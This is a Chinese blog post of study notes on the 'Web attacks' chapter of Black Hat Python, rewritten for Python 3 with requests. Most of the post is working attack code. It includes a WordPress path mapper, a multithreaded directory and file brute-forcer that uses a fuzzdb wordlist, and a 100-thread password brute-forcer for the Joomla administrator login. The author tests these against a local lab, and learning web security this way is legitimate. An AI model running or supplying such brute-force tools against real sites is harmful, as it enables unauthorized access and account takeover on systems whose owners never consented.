【Python3黑帽子学习笔记 on Mac】第五章 Web攻击
博客专区 > ODboy 的博客 > 博客详情
【Python3黑帽子学习笔记 on Mac】第五章 Web攻击
ODboy 发表于10个月前
【Python3黑帽子学习笔记 on Mac】第五章 Web攻击
  • 发表于 10个月前
  • 阅读 74
  • 收藏 0
  • 点赞 0
  • 评论 0

腾讯云 技术升级10大核心产品年终让利>>>   

作者在本章主要使用的库是:urllib2,由于我对于Python3应该使用urllib/urllib2/urllib3各种懵逼,故而改用requests库。

Requests库 (Slogen: Python HTTP for Humans)

    别小瞧这个库,现在慢慢变得流行哟!

    https://pypi.python.org/pypi/requests                

    http://docs.python-requests.org/en/master/  

    http://www.zhidaow.com/post/python-requests-install-and-brief-introduction   简单使用

pip3 install requests    #安装

小试牛刀: 

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 黑帽子Python第5章
# 由于原著中使用的urllib(urllib2/urllib3)让人困惑,故而全部改为requests.
import requests
import logging

logging.basicConfig(level=logging.DEBUG)
def section1():
    url="https://www.baidu.com/s"
    #url="http://localhost"
    params={"wd":"python","xxx":"3"}
    data={"name":"zhangsan","pass":"lisi"}
    cookie={"PHPSESSID":"AASDFKWEAAVKHJLAEFKASDIU23"}
    headers ={ "Accept":"text/html,application/xhtml+xml,application/xml;",
                "Accept-Encoding":"gzip",
                "Accept-Language":"zh-CN,zh;q=0.8",
                "Referer":"http://www.baidu.com",
                "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36"
                }
    r=requests.get(url,params=params,cookies=cookie,data=data,headers=headers)
    #r=requests.post(url,data=data)
    print("URL --> ",r.url)
    print("响应码 --> ",r.status_code)
    print("返回头部信息 --> ",r.headers['content-type'])
    print("响应内容 --> ",r.content[:1000])
    r.close

if __name__=='__main__':
    section1()

url="https://www.baidu.com"

因为百度使用的是https协议,我没法抓取数据包,所以改为url="http://localhost"来查看发送的数据包信息。 可以看到一切正常!

开源web应用安装

    为了便于使用,此处我自己在本地搭建了一个WordPress站点。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import queue
import threading
import os
import requests    #import urllib2

threads = 10

target = "http://localhost/wp"
directory = "/Library/WebServer/Documents/wp"
filters = [".jpg", ".gif", ".png", ".css"]

os.chdir(directory)

web_paths = queue.Queue()

# 遍历目录中的文件,将路径放到web_paths中。
for r, d, f in os.walk("."):   
    for file in f:
        remote_path = "%s/%s" % (r, file)
        if remote_path.startswith("."):
            remote_path = remote_path[1:]
        if os.path.splitext(file)[1] not in filters:
            web_paths.put(remote_path)

def test_remote():
    while not web_paths.empty():
        path = web_paths.get()
        url = "%s%s" % (target, path)

        try:
            response = requests.get(url)
            print( "[%d] => %s" % (response.status_code, path))
            response.close()

        except Exception as e:
            print("Failed %s" % e)
            pass

for i in range(threads):
    print( "Spawning thread: %d" % i)
    t = threading.Thread(target=test_remote)
    t.start()

       

暴力破解目录和文件位置

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests    #import urllib2
#import urllib
import threading
import queue
import logging

logging.basicConfig(level=logging.WARNING)
threads = 200
target_url = "http://10.1.1.5/wp" 
#target_url="http://testphp.vulnweb.com"
#wordlist_file = "/tmp/all.txt" # from SVNDigger
wordlist_file="/Users/jason/Documents/geekTools/fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-small-words.txt"   # from fuzzdb
resume = None
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"


def build_wordlist(wordlist_file):
    # read in the word list
    fd = open(wordlist_file, "rb")
    raw_words = fd.readlines()
    fd.close()

    found_resume = False
    words = queue.Queue()

    for word in raw_words:
        word = word.rstrip()
        
        # 应该根本就没有用到吧????
        # if resume is not None:
        #     if found_resume:
        #         words.put(word)
        #     else:
        #         if word == resume:
        #             found_resume = True
        #             print("Resuming wordlist from: %s" % resume)

        # else:
        #     words.put(word)
        words.put(word)
    return words


def dir_bruter(word_queue, extensions=None):
    while not word_queue.empty():
        attempt = word_queue.get().decode("ascii")
        #print("attempt:",attempt)
        attempt_list = []

        # check to see if there is a file extension; if not, it's a directory
        # path we're bruting
        if "." not in attempt:
            attempt_list.append("/%s/" % attempt)
        else:
            attempt_list.append("/%s" % attempt)

        # if we want to bruteforce extensions
        if extensions:
            for extension in extensions:
                attempt_list.append("/%s%s" % (attempt, extension))

        # iterate over our list of attempts
        for brute in attempt_list:
            #print("brute:",brute)
            url = "%s%s" % (target_url, brute)

            try:
                headers = {}
                headers["User-Agent"] = user_agent
                response = requests.get(url, headers=headers)
                if response.status_code!=404 :
                    print( "[%d] => %s" % (response.status_code,url))

            except requests.RequestException as e:
                print(e)
                pass

if __name__=="__main__":
    word_queue = build_wordlist(wordlist_file)
    extensions = [".php", ".bak", ".orig", ".inc"]

    for i in range(threads):
        t = threading.Thread(target=dir_bruter, args=(word_queue,extensions,))
        t.start()

    

    

暴力破解HTML表格认证

    为了进行试验,我下载了当前最新版本(3.6)的joomla安装在虚拟机上。随后尝试登录后台,提交的POST报文样本如下:

POST /joomla/administrator/index.php HTTP/1.1
Host: 10.1.1.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.1.1.5/joomla/administrator/index.php
Cookie: 974e8a9d6745180a3a88588c438dc741=hcm0mg30jpijlf3ke1pcqcb356
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

username=bingo&passwd=abcdefg&option=com_login&task=login&return=aW5kZXgucGhw&441e8d79495ebbe0169914b1bd7c7d15=1

    按照原著中的代码,即使密码正确也不能正确识别。经过一番排查,发现原因在于:每一次POST提交数据后,返回的都是303重定向到index页面,区别在于,如果口令正确则会从新设定cookie值。

所以,我们应该检查的关键值在于header里面的“Set-Cookie”。

正是因为上面这句话,折腾了我一整天。汗死了。 requests库貌似自动处理了303跳转,response.headers的是第二次响应的内容。所以response.cookie无值,(response.headers['set-cookie']不存在)。

http://docs.python-requests.org/en/master/api/

  • allow_redirects (bool) -- (optional) Boolean. Enable/disable GET/OPTIONS/POST/PUT/PATCH/DELETE/HEAD redirection. Defaults to True.

    PS:函数中循环开始前获取到cookie是因为响应回来的代码是200,并非跳转的303.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import threading
import sys
import queue

from html.parser import HTMLParser

# general settings
user_thread = 100
username = "bingo"
wordlist_file = "/Users/jason/Documents/zidian/常用密码.txt"
resume = None

# target specific settings
target_url = "http://10.1.1.5/joomla/administrator/index.php"
target_post = "http://10.1.1.5/joomla/administrator/index.php"

cookie={}

username_field = "username"
password_field = "passwd"

success_check = "Control Panel - "

class BruteParser(HTMLParser):
    def __init__(self):
        HTMLParser.__init__(self)
        self.tag_results = {}

    def handle_starttag(self, tag, attrs):
        if tag == "input":
            tag_name = None
            tag_value = None
            for name, value in attrs:
                if name == "name":
                    tag_name = value
                if name == "value":
                    tag_value = value
            if tag_name is not None:
                self.tag_results[tag_name] = value


class Bruter(object):
    def __init__(self, username, words):
        self.username = username
        self.password_q = words
        self.found = False

        print( "Finished setting up for: %s" % username)
        print("Total %d tries"% self.password_q.qsize())

    def run_bruteforce(self):
        for i in range(user_thread):
            t = threading.Thread(target=self.web_bruter)
            t.start()

    def web_bruter(self):
        # 初始化cookie以及hidden元素数据。
        response = requests.get(target_url)
        cookie=response.cookies
        # print("get a cookie: ",response.headers['set-cookie'])
        # parse out the hidden fields
        parser = BruteParser()
        parser.feed(response.text)
        post_tags = parser.tag_results

        while not self.password_q.empty() and not self.found:

            brute = self.password_q.get().rstrip().decode("ascii")

            # add our username nad password fields
            post_tags[username_field] = self.username
            post_tags[password_field] = brute

            # \r将光标回退到行首(\b回退一格),实现原地覆盖。
            print(" \b\b"*100,end="")
            print("\rTrying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize()),end="")
            #print("current cookie:",cookie)

            login_response = requests.post(target_post, data=post_tags,cookies=cookie)

            #print("login_response.headers['Set-Cookie']\t",login_response.headers['set-cookie'])
            # 这是个爆破密码的,无论密码是否正确,响应的都是跳转。 但如果密码正确,会重新设定cookie。
            # 所以我打算通过检查是否有设置新的cookie来判断。
            # 但是貌似通过post方式提交后无法获取到cookie呢?  (通过wireshark可以确定响应包头中有set-cookie的)
            # 【原因】requests库貌似自动处理了303跳转,response.headers的是第二次响应的内容。

            login_result = login_response.text

            if success_check in login_result:
                self.found = True

                print ("\n[*] Bruteforce successful.")
                print ("[*] Username: %s" % username)
                print ("[*] Password: %s" % brute)
                print ("[*] Waiting for other threads to exit...")

def build_wordlist(wordlist_file):   
    # read in the word list
    fd = open(wordlist_file, "rb")
    raw_words = fd.readlines()
    fd.close()

    found_resume = False
    words = queue.Queue()

    for word in raw_words:
        word = word.rstrip()

        if resume is not None:
            if found_resume:
                words.put(word)
            else:
                if word == resume:
                    found_resume = True
                    print ("Resuming wordlist from: %s" % resume)

        else:
            words.put(word)

    return words

words = build_wordlist(wordlist_file)

bruter_obj = Bruter(username, words)
bruter_obj.run_bruteforce()

打完手工!  后续还得在看看神奇的HTMLParser,挺有意思的。

共有 人打赏支持
粉丝 6
博文 12
码字总数 11301
×
ODboy
如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!
* 金额(元)
¥1 ¥5 ¥10 ¥20 其他金额
打赏人
留言
* 支付类型
微信扫码支付
打赏金额:
已支付成功
打赏金额: